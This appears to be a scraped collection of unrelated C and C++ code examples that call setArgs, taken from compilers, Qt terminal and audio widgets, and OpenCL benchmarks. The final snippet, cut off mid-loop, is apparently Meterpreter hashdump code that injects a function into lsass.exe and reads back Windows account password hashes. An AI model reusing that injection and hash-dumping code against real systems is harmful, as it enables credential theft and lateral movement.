CompilerInterface::CompilerInterface(const Option &t)
{
  FUNCTION_TRACE;
  init();
  options_p = &t;

  setArgs(options_p->param_args(),args_org);
  setArgs(options_p->param_args());
  preprocessorfile[0]=0;
}
Exemple #2
0
int main(int argc, char **argv)
{
    TParams params = setArgs(argc, argv);

    if (params.status != EOK)
    {
        fprintf(stderr, EMSG[params.status]);
        return EXIT_FAILURE;
    }

    switch (params.operation)
    {
        case HELP:
            printHelp();
            break;
        case TAN:
            calculateTan(params.values);
            break;
        case MEASURE:
            calculateDistance(params.values);
            break;
    }

    return EXIT_SUCCESS;
}
Exemple #3
0
HsQMLManager::HsQMLManager(
    void (*freeFun)(HsFunPtr),
    void (*freeStable)(HsStablePtr))
    : mLogLevel(0)
    , mAtExit(false)
    , mFreeFun(freeFun)
    , mFreeStable(freeStable)
    , mOriginalHandler(qcoreVariantHandler())
    , mApp(NULL)
    , mLock(QMutex::Recursive)
    , mRunning(false)
    , mRunCount(0)
    , mShutdown(false)
    , mStackBase(NULL)
    , mStartCb(NULL)
    , mJobsCb(NULL)
    , mYieldCb(NULL)
    , mActiveEngine(NULL)
{
    // Set default Qt args
    setArgs(QStringList("HsQML"));

    // Get log level from environment
    const char* env = std::getenv("HSQML_DEBUG_LOG_LEVEL");
    if (env) {
        setLogLevel(QString(env).toInt());
    }
}
std::shared_ptr<ir::Expr> LoadRealMatrixFuncDecl::getNew(
    std::vector<std::shared_ptr<ir::Expr>>& args,
    fabrica::TypeFactory* fact) const {
  // Type Checking
  auto mat_ty = fact->getTy(ir::IRConstString::MATRIX);
  auto int_ty = fact->getTy(ir::IRConstString::INT);
  auto str_ty = fact->getTy(ir::IRConstString::STRING);
  if (args.size() < 1 || args[0] == nullptr || args[0]->getTyp() != str_ty)
    return nullptr;
  for (size_t i = 1; i < args.size(); ++i) {
    if (args[i] == nullptr || args[i]->getTyp() != int_ty)
      return nullptr;
  }
  if (args.size() > 5) return nullptr;
  if (args.size() == 4) return nullptr;

  auto func = std::make_shared<ir::FunctionCall>(this);

  func->setArgs(args);

  // check randomness
  for (auto& a : args) {
    if (a->isRandom())
      func->setRandom(true);
  }

  func->setTyp(mat_ty);

  return func;
}
Exemple #5
0
void HashTypeChecker::start()
{
    // We make sure last process is terminated correctly before
    // loading a new password file.
    terminate();
    setArgs(QStringList() << "--show=types" << m_passwordFiles);
    JohnHandler::start();
}
Exemple #6
0
void UFunctionTag::editArgs()
{
    bool ok;
    QString input=QInputDialog::getText(0,"Edit arguments list","Argument list: [Separate with ,]",QLineEdit::Normal,args,&ok);
    if(ok)
    {
        setArgs(input.split(','));
    }
}
Exemple #7
0
int remove_doc(Context &ctx, int argc, char *argv[]) {
  del_args args;
  if(setArgs(args, argc -1, argv +1)) {
    print_help(
      "   idPage: document to remove\n"
      "   HOST PORT\n"
    );
    return -1;
  }
  return perform_remove(ctx, args);
}
Exemple #8
0
int add_company(Context &ctx, int argc, char *argv[]) {
  mod_company_args args;
  if(setArgs(args, argc -1, argv +1)) {
    print_help(
      "   NAME: name of the company\n"
      "   HOST PORT\n"
    );
    return -1;
  }

  return perform_add_company(ctx, args);
}
bool CompilerInterface::restrictArgs(const char* selected_source,Argv &backup_args ) 
{
  FUNCTION_TRACE;
  int i;
  backup_args=param_args();

  Argv new_args;
  for (i=0;i<backup_args.argc();i++)
  {
    const char *file=backup_args[i];
    if (!isSource(file) || filename_strcmp(selected_source,file)==0)
      new_args.append(file);
  }

  setArgs(new_args);
  return true;
}
Exemple #10
0
AudioInfo::AudioInfo(const QAudioFormat &format, QObject *parent)
    :   QIODevice(parent)
    ,   m_format(format)
    ,   m_maxAmplitude(0)
    ,   m_level(0.0)
    ,   m_isNeedSaveFile(true)
    ,   m_isNeedSaveTmpFiles(false)
    ,   underlyingDevice(NULL)
    ,   criticalValue(5000)
    ,   isCriticalOver(false)
    ,   kOverValue(1.5)
    ,   m_isAuto(true)

{
    setArgs();
    switch (m_format.sampleSize()) {
    case 8:
        switch (m_format.sampleType()) {
        case QAudioFormat::UnSignedInt:
            m_maxAmplitude = 255;
            break;
        case QAudioFormat::SignedInt:
            m_maxAmplitude = 127;
            break;
        default:
            break;
        }
        break;
    case 16:
        switch (m_format.sampleType()) {
        case QAudioFormat::UnSignedInt:
            m_maxAmplitude = 65535;
            break;
        case QAudioFormat::SignedInt:
            m_maxAmplitude = 32767;
            break;
        default:
            break;
        }
        break;
    default:
        break;
    }
}
TermWidgetImpl::TermWidgetImpl(const QString & wdir, const QString & shell, QWidget * parent)
    : QTermWidget(0, parent)
{
    TermWidgetCount++;
    QString name("TermWidget_%1");
    setObjectName(name.arg(TermWidgetCount));

    setFlowControlEnabled(FLOW_CONTROL_ENABLED);
    setFlowControlWarningEnabled(FLOW_CONTROL_WARNING_ENABLED);

    propertiesChanged();

    setHistorySize(5000);

    if (!wdir.isNull())
        setWorkingDirectory(wdir);

    if (shell.isNull())
    {
        if (!Properties::Instance()->shell.isNull())
            setShellProgram(Properties::Instance()->shell);
    }
    else
    {
        qDebug() << "Settings custom shell program:" << shell;
        QStringList parts = shell.split(QRegExp("\\s+"), QString::SkipEmptyParts);
        qDebug() << parts;
        setShellProgram(parts.at(0));
        parts.removeAt(0);
        if (parts.count())
            setArgs(parts);
    }

    setMotionAfterPasting(Properties::Instance()->m_motionAfterPaste);

    setContextMenuPolicy(Qt::CustomContextMenu);
    connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),
            this, SLOT(customContextMenuCall(const QPoint &)));

    connect(this, SIGNAL(urlActivated(QUrl)), this, SLOT(activateUrl(const QUrl&)));

    startShellProgram();
}
SpeechDetector::SpeechDetector(const QAudioFormat &format, QObject *parent)
    :   QIODevice(parent)
    ,   m_format(format)
    ,   m_maxAmplitude(0)
    ,   m_level(0)
    ,   criticalValue(5000)
    ,   isCriticalOver(false)
    ,   kOverValue(1.5)
    ,   m_isAuto(true)

{
    setArgs();
    switch (m_format.sampleSize()) {
    case 8:
        switch (m_format.sampleType()) {
        case QAudioFormat::UnSignedInt:
            m_maxAmplitude = 255;
            break;
        case QAudioFormat::SignedInt:
            m_maxAmplitude = 127;
            break;
        default:
            break;
        }
        break;
    case 16:
        switch (m_format.sampleType()) {
        case QAudioFormat::UnSignedInt:
            m_maxAmplitude = 65535;
            break;
        case QAudioFormat::SignedInt:
            m_maxAmplitude = 32767;
            break;
        default:
            break;
        }
        break;
    default:
        break;
    }
}
Exemple #13
0
std::shared_ptr<ir::Expr> DiscreteDistrDecl::getNew(
    std::vector<std::shared_ptr<ir::Expr>>& args,
    fabrica::TypeFactory* fact) const {
  // Type Checking
  if (args.size() != 1 || args[0] == nullptr)
    return nullptr;

  // Note: We only accept array<double>
  auto dbl = fact->getTy(ir::IRConstString::DOUBLE);
  auto ary_dbl = fact->getUpdateTy(new ir::ArrayTy(dbl, 1));
  auto mtrx = fact->getTy(ir::IRConstString::MATRIX);
  if (args[0]->getTyp() != ary_dbl && args[0]->getTyp() != mtrx)
    return nullptr;

  auto ret = std::make_shared<ir::Distribution>(this->getName(), this);
  ret->setArgs(args);
  ret->setTyp(fact->getTy(ir::IRConstString::INT));
  ret->processArgRandomness();
  ret->setRandom(true);
  return ret;
}
Exemple #14
0
	virtual void update() {
PROFILE_BEGIN_FRAME()
		glFinish();
	
		std::vector<cl::Memory> acquireGLMems = {texMem};
		commands.enqueueAcquireGLObjects(&acquireGLMems);

		//run kernel
		cl::NDRange globalSize = cl::NDRange(size(0), size(1));
		cl::NDRange localSize = cl::NDRange(16, 16);
		cl::NDRange offset = cl::NDRange(0, 0);

		//update new buffer and display texture
		setArgs(updateKernel, updateBuffers[!bufferIndex], updateBuffers[bufferIndex], texMem);
		commands.enqueueNDRangeKernel(updateKernel, offset, globalSize, localSize);
		bufferIndex = !bufferIndex;
	
		commands.enqueueReleaseGLObjects(&acquireGLMems);
		commands.finish();

		//clear screen buffer
		Super::update();
	
		//transforms
		glLoadIdentity();
		glTranslatef(-viewPos(0), -viewPos(1), 0);
		glScalef(viewZoom, viewZoom, viewZoom);
	
		//display
		glBindTexture(GL_TEXTURE_2D, texID);
		glEnable(GL_TEXTURE_2D);
		glBegin(GL_QUADS);
		glTexCoord2f(0,0); glVertex2f(-.5f, -.5f);
		glTexCoord2f(1,0); glVertex2f(.5f, -.5f);
		glTexCoord2f(1,1); glVertex2f(.5f, .5f);
		glTexCoord2f(0,1); glVertex2f(-.5f, .5f);
		glEnd();
		glBindTexture(GL_TEXTURE_2D, 0);	
PROFILE_END_FRAME()
	}
Exemple #15
0
/**
 * @param stageStr a pointer to a string representing the pipe stage.
 * @param stageInputs a pointer to a string representing
 * the input stream of the function.
 * @param stageOutputs a pointer to a string representing
 * the output stream of the function.
 * @param argc the number of command line arguments for the command.
 * @param argv an array of strings of command line arguments.
 */
cmdNode *buildCommand(char *stageStr, char *stageInputs, char *stageOutputs,
 int argc, char *argv[], int stageNum) {
   cmdNode *newNode = (cmdNode *) malloc(sizeof(cmdNode));

   setStageNum(newNode, stageNum++);

   //if there is no input or output redirection then the command
   //reads or writes to stdin or stdout respectively.

   //find a way to set input and outputs as FDs instead of strings
   if (stageInputs == NULL) {
      setStageInFD(newNode, 1);
   }
   else if (*stageInputs == ' ') {
      setStageInFD(newNode, 0);
   }
   else {
      setStageIn(newNode, stageInputs);
   }

   if (stageOutputs == NULL) {
      setStageOutFD(newNode, 1);
      //setStageOut(newNode, "original stdout");
   }
   else if (*stageOutputs == ' ') {
      setStageOutFD(newNode, 0);
      /*pipeStageNum = (stageNum + '0');
      strcpy(pipeIO, "pipe to stage \0");
      setStageOut(newNode, strcat(pipeIO, &pipeStageNum));*/
   }
   else {
      setStageOut(newNode, stageOutputs);
   }

   setArgs(newNode, argc + 1, argv);

   return newNode;
}
void CompilerInterface::setArgs(const Argv &v)
{
  FUNCTION_TRACE;
  setArgs(v,args);
}
Exemple #17
0
 ProcessArgs(const std::vector<std::string>& args)
    : argCount_(0), args_(NULL)
 {
    setArgs(args);
 }
Exemple #18
0
 GCall& pass(Ts&&... args)
 {
     setArgs({cv::GArg(std::move(args))...});
     return *this;
 }
Exemple #19
0
TermWidgetImpl::TermWidgetImpl(const QString & wdir, const QString & shell, QWidget * parent)
    : QTermWidget(0, parent)
{
    TermWidgetCount++;
    QString name("TermWidget_%1");
    setObjectName(name.arg(TermWidgetCount));

    setFlowControlEnabled(FLOW_CONTROL_ENABLED);
    setFlowControlWarningEnabled(FLOW_CONTROL_WARNING_ENABLED);

    propertiesChanged();

    setHistorySize(5000);

    if (!wdir.isNull())
        setWorkingDirectory(wdir);

    if (shell.isNull())
    {
        if (!Properties::Instance()->shell.isNull())
            setShellProgram(Properties::Instance()->shell);
    }
    else
    {
        qDebug() << "Settings custom shell program:" << shell;
        QStringList parts = shell.split(QRegExp("\\s+"), QString::SkipEmptyParts);
        qDebug() << parts;
        setShellProgram(parts.at(0));
        parts.removeAt(0);
        if (parts.count())
            setArgs(parts);
    }

    setMotionAfterPasting(Properties::Instance()->m_motionAfterPaste);
    
    actionMap[COPY_SELECTION] = new QAction(QIcon(":/icons/edit-copy.png"), tr(COPY_SELECTION), this);
    connect(actionMap[COPY_SELECTION], SIGNAL(triggered()), this, SLOT(copyClipboard()));
    addAction(actionMap[COPY_SELECTION]);

    actionMap[PASTE_CLIPBOARD] = new QAction(QIcon(":/icons/edit-paste.png"), tr(PASTE_CLIPBOARD), this);
    connect(actionMap[PASTE_CLIPBOARD], SIGNAL(triggered()), this, SLOT(pasteClipboard()));
    addAction(actionMap[PASTE_CLIPBOARD]);

    actionMap[PASTE_SELECTION] = new QAction(QIcon(":/icons/edit-paste.png"), tr(PASTE_SELECTION), this);
    connect(actionMap[PASTE_SELECTION], SIGNAL(triggered()), this, SLOT(pasteSelection()));
    addAction(actionMap[PASTE_SELECTION]);

    actionMap[ZOOM_IN] = new QAction(QIcon(":/icons/zoom-in.png"), tr(ZOOM_IN), this);
    connect(actionMap[ZOOM_IN], SIGNAL(triggered()), this, SLOT(zoomIn()));
    addAction(actionMap[ZOOM_IN]);

    actionMap[ZOOM_OUT] = new QAction(QIcon(":/icons/zoom-out.png"), tr(ZOOM_OUT), this);
    connect(actionMap[ZOOM_OUT], SIGNAL(triggered()), this, SLOT(zoomOut()));
    addAction(actionMap[ZOOM_OUT]);

    actionMap[ZOOM_RESET] = new QAction(QIcon(":/icons/zoom-out.png"), tr(ZOOM_RESET), this);
    connect(actionMap[ZOOM_RESET], SIGNAL(triggered()), this, SLOT(zoomReset()));
    addAction(actionMap[ZOOM_RESET]);

    QAction *act = new QAction(this);
    act->setSeparator(true);
    addAction(act);

    actionMap[CLEAR_TERMINAL] = new QAction(tr(CLEAR_TERMINAL), this);
    connect(actionMap[CLEAR_TERMINAL], SIGNAL(triggered()), this, SLOT(clear()));
    addAction(actionMap[CLEAR_TERMINAL]);

    actionMap[SPLIT_HORIZONTAL] = new QAction(tr(SPLIT_HORIZONTAL), this);
    connect(actionMap[SPLIT_HORIZONTAL], SIGNAL(triggered()), this, SLOT(act_splitHorizontal()));
    addAction(actionMap[SPLIT_HORIZONTAL]);

    actionMap[SPLIT_VERTICAL] = new QAction(tr(SPLIT_VERTICAL), this);
    connect(actionMap[SPLIT_VERTICAL], SIGNAL(triggered()), this, SLOT(act_splitVertical()));
    addAction(actionMap[SPLIT_VERTICAL]);

    actionMap[SUB_COLLAPSE] = new QAction(tr(SUB_COLLAPSE), this);
    connect(actionMap[SUB_COLLAPSE], SIGNAL(triggered()), this, SLOT(act_splitCollapse()));
    addAction(actionMap[SUB_COLLAPSE]);

    //act = new QAction(this);
    //act->setSeparator(true);
    //addAction(act);
    //
    //act = new QAction(tr("&Rename session..."), this);
    //act->setShortcut(Properties::Instance()->shortcuts[RENAME_SESSION]);
    //connect(act, SIGNAL(triggered()), this, SIGNAL(renameSession()));
    //addAction(act);

    setContextMenuPolicy(Qt::CustomContextMenu);
    connect(this, SIGNAL(customContextMenuRequested(const QPoint &)),
            this, SLOT(customContextMenuCall(const QPoint &)));

    updateShortcuts();

    //setKeyBindings("linux");
    startShellProgram();
}
Exemple #20
0
int main(int argc, char *argv[])
{
	
	logger.setLogLevel(Logging::Debug);
	struct args a;
	setArgs(a, argc, argv);

    GU_Detail		 gdp;
	bool binary = false;
	bool bbox = false;		

	if( a.b )
		binary = true;

	// convert all files in directory from hsff to geo or bgeo
	if (a.cd || a.c)
	{
		logger.debug("Found argument -cd or -c, trying to convert files in a directory.");
		std::vector<std::string> filesToConvert;
		if( a.cd )
		{
			logger.debug("Found argument -cd trying to convert files in a directory.");
			std::string info("Directory: ");
			info += a.cdDir;
			logger.debug(info);

			if( binary )
				logger.debug("Exporting binary bgeo files");
			else
				logger.debug("Exporting ascii geo files");

			//dirname.harden(argv[1]); // what does this mean, harden???

			fs::path p(a.cdDir);
			getHsffFiles(p, filesToConvert, binary);
		}else{
			logger.debug("Found argument -c trying to convert exactly one file.");
			//filename = UT_String(args.argp('c'));
			std::string info("Filename.");
			info += a.cFile;
			logger.debug(info);
			filesToConvert.push_back(a.cFile);
		}

		// export geo loop
		for( uint fId = 0; fId < filesToConvert.size(); fId++)
		{
			Hsff inFile(filesToConvert[fId]);
			if(!inFile.good)
			{
				logger.error(std::string("Error: problems reading file ") + filesToConvert[fId]);
				//cerr << "Error: problems reading file " << filesToConvert[fId] << "\n";
				inFile.close();
				continue;		
			}
			logger.debug(std::string("Converting file ") + filesToConvert[fId]);
			//cout << "Converting " << filesToConvert[fId] << "\n";
			inFile.doBinary = binary;

			unsigned int geoType = inFile.readGeoType();
			switch(geoType)
			{
			case PARTICLE:
				//cout << "Detected particle file.\n";
				createParticleGeo(inFile);
				break;
			case FLUID:
				//cout << "Detected fluid file.\n";
				createFluidGeo(inFile);
				break;
			case MESH:
				//cout << "Detected mesh file.\n";
				createMeshGeo(inFile);
				break;
			case CURVE:
				//cout << "Detected curve file.\n";
				createCurveGeo(inFile);
				break;
			case NURBS:
				//cout << "Detected nurbs file.\n";
				createNurbsGeo(inFile);
				break;
			}

			inFile.close();
		}
		return 0;
	}


	// get bbox from 1st argument
	if (a.bbox)
	{	
		std::string info("Getting BBox of ");
		info += a.bboxfile;
		logger.debug(info);
		if( !isValid(fs::path(a.bboxfile)))
		{
			logger.error("Could not read file.");
			return 1;
		}
		UT_BoundingBox bbox;
		getBBox(a.bboxfile, bbox);
		cout << "BBox: " << bbox.xmin() << " " << bbox.ymin() << " " << bbox.zmin() << " " << bbox.xmax() << " " << bbox.ymax() << " " << bbox.zmax() << "\n";
	}

	if (a.ptc)
	{
		std::string info("Getting pointcloud of ");
		info += a.ptcfile;
		logger.debug(info);
		std::string outFile = pystring::replace(a.ptcfile, ".geo", ".hsffp"); // add a 'p' to show that it is a point cloud file from this tool
		if( pystring::endswith(a.ptcfile, "bgeo"))
			outFile = pystring::replace(a.ptcfile, ".bgeo", ".hsffp"); // add a 'p' to show that it is a point cloud file from this tool
		UT_BoundingBox bbox;
		readPtc(a.ptcfile, outFile, a.ptcdv, bbox);
		cout << "BBox: " << bbox.xmin() << " " << bbox.ymin() << " " << bbox.zmin() << " " << bbox.xmax() << " " << bbox.ymax() << " " << bbox.zmax() << "\n";
	}

	//cout << "numargs: " << args.argc() << "\n"; 

	
	
 //   if (args.argc() == 3)
	//{
	//	UT_String dobin;
	//	
	//	dobin.harden(argv[2]);
	//	if(dobin.isInteger())
	//	{
	//		if( dobin.toInt() == 0)
	//			binary = true;
	//		else
	//			binary = false;
	//	}
	//}

	//if(binary)
	//	cout << "Writing from source dir " << dirname << " as binary\n";
	//else
	//	cout << "Writing from source dir " << dirname << " as ascii\n";
	


    return 0;

}
/** Run the OpenCL kernel */
short runOpenCL(struct benchmark *bench)
{

  short j;
  

#ifdef DEBUG
  printf("TEST OPENCL\n");
#endif
   /**********************

     Initializations

   **********************/
   error=clGetPlatformIDs(1,&platform,NULL);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Error to get platform ID : %d\n",error);
        goto error;
   }



   error=clGetDeviceIDs(platform,CL_DEVICE_TYPE_GPU,1,&device,NULL);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Error to get device ID : %d\n",error);
        goto error;
   } 


   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't get device info : %d\n",error);
        goto error;
   } 


   context = clCreateContext(0,1,&device,NULL,NULL,&error);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Error to create context : %d\n",error);
        goto error;
   } 

   size_t maxWorkItemDim;
   size_t maxWorkGroupSize;
   size_t workItemSize[10];
  

   error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_ITEM_DIMENSIONS,sizeof(size_t),&maxWorkItemDim,NULL);
   
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't get max work item dimensions : %d\n",error);
        goto errorContext;
   }

   error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_ITEM_SIZES,maxWorkItemDim*sizeof(size_t),workItemSize,NULL);
   
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't get mwork item sizes : %d\n",error);
        goto errorContext;
   }

   error = clGetDeviceInfo(device,CL_DEVICE_MAX_WORK_GROUP_SIZE,sizeof(size_t),&maxWorkGroupSize,NULL);
   
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't get max work item dimensions : %d\n",error);
        goto errorContext;
   }


   queue = clCreateCommandQueue(context, device, CL_QUEUE_PROFILING_ENABLE ,&error);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Error to create command queue : %d\n",error);
        goto errorContext;
   } 





   /**********************

     Memory allocations

   **********************/
   long i;
#ifdef DEBUG
   printf("Create buffers\n");
#endif
   double createBufTime;
   createBufTime = createBuffers(context,bench);


   /**********************

     OpenCL kernel

   **********************/

   cl_program program;
   char *fileContent;
   FILE *f;
   struct stat fState;
   char path[256];

   strcpy(path,"Kernels/");
   strcat(path,bench->kernel);

   stat(path,&fState);

   f=fopen(path,"r");
   fileContent=malloc(fState.st_size*sizeof(char));
   fread(fileContent,sizeof(char),fState.st_size,f);
   fclose(f);


   program=clCreateProgramWithSource(context,1,(const char**)&fileContent,&fState.st_size,&error);
   free(fileContent);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't create program : %d\n",error);
        goto errorBuffer;
   }    
  

   /*error=clBuildProgram(program,1,&device,"-cl-fast-relaxed-math",NULL,NULL);*/
   error=clBuildProgram(program,1,&device,"",NULL,NULL);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't build program : %d\n",error);
        goto errorProgram;
   } 

   cl_kernel kernel=clCreateKernel(program,"mainKernel",&error);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't create kernel : %d\n",error);
        goto errorProgram;
   } 

   /**********************

     Launching the kernel

   **********************/  



#ifdef DEBUG
   printf("Set args\n");
#endif
   setArgs(kernel,bench);



   cl_ulong lStart;
   cl_ulong lEnd;
   double fTimeInSeconds;
   double fFLOPS;

#ifdef DEBUG
   printf("Compute\n");
   printf("%d\n",bench->worksizeDim);
   for(i=0;i<bench->worksizeDim;i++)
   {
      printf(" GLOBAL -> %d\n",bench->global_ws[i]);
      printf(" LOCAL -> %d\n",bench->local_ws[i]);
   }
#endif

   double writeBufTime;
   writeBufTime=writeInputs(queue,bench);



   double computeTime=getCurrentTime();
   error=clEnqueueNDRangeKernel(queue, kernel,bench->worksizeDim, NULL,bench->global_ws, bench->local_ws,0,NULL,&event);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't enqueue kernel : %d\n",error);
        goto errorKernel;
   } 

   clFinish(queue);
   computeTime= getCurrentTime() - computeTime;

#ifdef DEBUG
   printf("Read results\n");
#endif
   double readBufTime;
   readBufTime=readResults(queue,bench);

  

   error = clGetEventProfilingInfo(event,CL_PROFILING_COMMAND_START,sizeof(cl_ulong),&lStart,NULL);
   error |= clGetEventProfilingInfo(event,CL_PROFILING_COMMAND_END  ,sizeof(cl_ulong),&lEnd,NULL);
   if (error != CL_SUCCESS)
   {
        fprintf(stderr,"Can't get profiling info : %d\n",error);
        goto errorEvent;
   } 

   fTimeInSeconds = ((double)(lEnd-lStart)) / 1000000000.0;
   

   /* Send timing */
   write(newsockfd,"t\n",2*sizeof(char));

   sprintf(result,"%f\n",createBufTime);
   write(newsockfd,result,strlen(result));

   sprintf(result,"%f\n",writeBufTime);
   write(newsockfd,result,strlen(result));

   sprintf(result,"%f\n",fTimeInSeconds);
   write(newsockfd,result,strlen(result));

   sprintf(result,"%f\n",readBufTime);
   write(newsockfd,result,strlen(result));

   /*sprintf(result,"%f\n",computeTime);
   write(newsockfd,result,strlen(result));
   */


   /* Send results */
   sendResults(bench);


   
   
errorEvent:  
   clReleaseEvent(event); 
errorKernel:
   clReleaseKernel(kernel);

   /**********************

     Cleanup

   **********************/


errorProgram:
   clReleaseProgram(program);
errorBuffer:
   clReleaseCommandQueue(queue);
   releaseBuffers(bench);
errorContext:
   clReleaseContext(context);

   /**

   HORRIBLE error processing. It may create memory leaks. It will have to be improved.

   */

error: 
 return (error != CL_SUCCESS);

}
QtArgumentParser::QtArgumentParser(const QStringList& args)
{
    setArgs(args);
}
/* 
control function driving the dumping - return 0 on success, 1 on error 

dwMillisecondsToWait = basically controls how long to wait for the results
*/
int __declspec(dllexport) control(DWORD dwMillisecondsToWait, char **hashresults) {

	HANDLE hThreadHandle = NULL, hLsassHandle = NULL, hReadLock = NULL, hFreeLock = NULL;
	LPVOID pvParameterMemory = NULL, pvFunctionMemory = NULL;
	int FunctionSize;
	SIZE_T sBytesWritten = 0, sBytesRead = 0;
	DWORD dwThreadId = 0, dwNumberOfUsers = 0, dwCurrentUserIndex = 0, HashIndex = 0;
	FUNCTIONARGS InitFunctionArguments, FinalFunctionArguments;
	USERNAMEHASH *UsernameHashResults = NULL;
	PVOID UsernameAddress = NULL;
	DWORD dwError = 0;
	char *hashstring = NULL;

	/* METERPRETER CODE */
	char buffer[100];
	/* END METERPRETER CODE */

	do {

		/* ORANGE control input - move this to the client perl side */
		if (dwMillisecondsToWait < 60000) { dwMillisecondsToWait = 60000; }
		if (dwMillisecondsToWait > 300000) { dwMillisecondsToWait = 300000; }

		/* create the event kernel sync objects */
		hReadLock = CreateEvent(NULL, FALSE, FALSE, "SAM");
		hFreeLock = CreateEvent(NULL, FALSE, FALSE, "FREE");
		if (!hReadLock || !hFreeLock) { dwError = 1; break; }

		/* calculate the function size */
		FunctionSize = (DWORD)sizer - (DWORD)dumpSAM;
		if (FunctionSize <= 0) {
			printf("Error calculating the function size.\n");
			dwError = 1;
			break;
		}

		/* set access priv */
		if (SetAccessPriv() == 0) {
			printf("Error setting SE_DEBUG_NAME privilege\n");
			dwError = 1;
			break;
		}

		/* get the lsass handle */
		hLsassHandle = GetLsassHandle();
		if (hLsassHandle == 0) {
			printf("Error getting lsass.exe handle.\n");
			dwError = 1;
			break;
		}

		/* set the arguments in the context structure */
		if (setArgs(&InitFunctionArguments, dwMillisecondsToWait)) { dwError = 1; break; }

		/* allocate memory for the context structure */
		pvParameterMemory = VirtualAllocEx(hLsassHandle, NULL, sizeof(FUNCTIONARGS), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (pvParameterMemory == NULL) { dwError = 1; break; }

		/* write context structure into remote process */
		if (WriteProcessMemory(hLsassHandle, pvParameterMemory, &InitFunctionArguments, sizeof(InitFunctionArguments), &sBytesWritten) == 0) { dwError = 1; break; }
		if (sBytesWritten != sizeof(InitFunctionArguments)) { dwError = 1; break; }
		sBytesWritten = 0;

		/* allocate memory for the function */
		pvFunctionMemory = VirtualAllocEx(hLsassHandle, NULL, FunctionSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (pvFunctionMemory == NULL) { dwError = 1; break; }

		/* write the function into the remote process */
		if (WriteProcessMemory(hLsassHandle, pvFunctionMemory, dumpSAM, FunctionSize, &sBytesWritten) == 0) { dwError = 1; break; }
		if (sBytesWritten != FunctionSize) { dwError = 1; break; }
		sBytesWritten = 0;

		/* start the remote thread */
		if ((hThreadHandle = CreateRemoteThread(hLsassHandle, NULL, 0, (LPTHREAD_START_ROUTINE)pvFunctionMemory, pvParameterMemory, 0, &dwThreadId)) == NULL) { dwError = 1; break; }
		
		/* wait until the data is ready to be collected */
		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
			printf("Timed out waiting for the data to be collected.\n");
			dwError = 1;
			break;
		}

		/* read results of the injected function */
		if (ReadProcessMemory(hLsassHandle, pvParameterMemory, &FinalFunctionArguments, sizeof(InitFunctionArguments), &sBytesRead) == 0) { dwError = 1; break; }
		if (sBytesRead != sizeof(InitFunctionArguments)) { dwError = 1; break; }
		sBytesRead = 0;

		/* allocate space for the results */
		UsernameHashResults = (USERNAMEHASH *)malloc(FinalFunctionArguments.dwDataSize);
		if (UsernameHashResults == NULL) { dwError = 1; break; }

		/* determine the number of elements and copy over the data */
		dwNumberOfUsers = FinalFunctionArguments.dwDataSize / sizeof(USERNAMEHASH);

		/* copy the context structure */
		if (ReadProcessMemory(hLsassHandle, FinalFunctionArguments.pUsernameHashData, UsernameHashResults, FinalFunctionArguments.dwDataSize, &sBytesRead) == 0) { break; }
		if (sBytesRead != FinalFunctionArguments.dwDataSize) { break; }
		sBytesRead = 0;

		// save the old mem addy, malloc new space, copy over the data, free the old mem addy
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {
			UsernameAddress = UsernameHashResults[dwCurrentUserIndex].Username;
			
			UsernameHashResults[dwCurrentUserIndex].Username = (char *)malloc(UsernameHashResults[dwCurrentUserIndex].Length);
			if (UsernameHashResults[dwCurrentUserIndex].Username == NULL) { dwError = 1; break; }

			if (ReadProcessMemory(hLsassHandle, UsernameAddress, UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].Length, &sBytesRead) == 0) { dwError = 1; break; }
			if (sBytesRead != UsernameHashResults[dwCurrentUserIndex].Length) { dwError = 1; break; }
		}

		/* signal that all data has been read and wait for the remote memory to be free'd */
		if (SetEvent(hFreeLock) == 0) { dwError = 1; break; }
		if (WaitForSingleObject(hReadLock, dwMillisecondsToWait) != WAIT_OBJECT_0) {
			printf("The timeout pooped.\n");
			dwError = 1;
			break;
		}

		/* display the results and free the malloc'd memory for the username */
		for (dwCurrentUserIndex = 0; dwCurrentUserIndex < dwNumberOfUsers; dwCurrentUserIndex++) {

			/* METERPRETER CODE */
			hashstring = StringCombine(hashstring, UsernameHashResults[dwCurrentUserIndex].Username);
			hashstring = StringCombine(hashstring, ":");
			_snprintf(buffer, 30, "%d", UsernameHashResults[dwCurrentUserIndex].RID);
			hashstring = StringCombine(hashstring, buffer);
			hashstring = StringCombine(hashstring, ":");
			/* END METERPRETER CODE */

			//printf("%s:%d:", UsernameHashResults[dwCurrentUserIndex].Username, UsernameHashResults[dwCurrentUserIndex].RID);
			for (HashIndex = 16; HashIndex < 32; HashIndex++) {
				/* ORANGE - insert check for ***NO PASSWORD***		
					if( (regData[4] == 0x35b4d3aa) && (regData[5] == 0xee0414b5)
                    && (regData[6] == 0x35b4d3aa) && (regData[7] == 0xee0414b5) )
                    sprintf( LMdata, "NO PASSWORD*********************" );
				*/
				_snprintf(buffer, 3, "%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
				hashstring = StringCombine(hashstring, buffer);
				//printf("%02x", (BYTE)(UsernameHashResults[dwCurrentUserIndex].Hash[HashIndex]));
			}
			hashstring = StringCombine(hashstring, ":");
			//printf(":");
			for (HashIndex = 0; HashIndex < 16; HashIndex++) {
				/* ORANGE - insert check for ***NO PASSWORD***
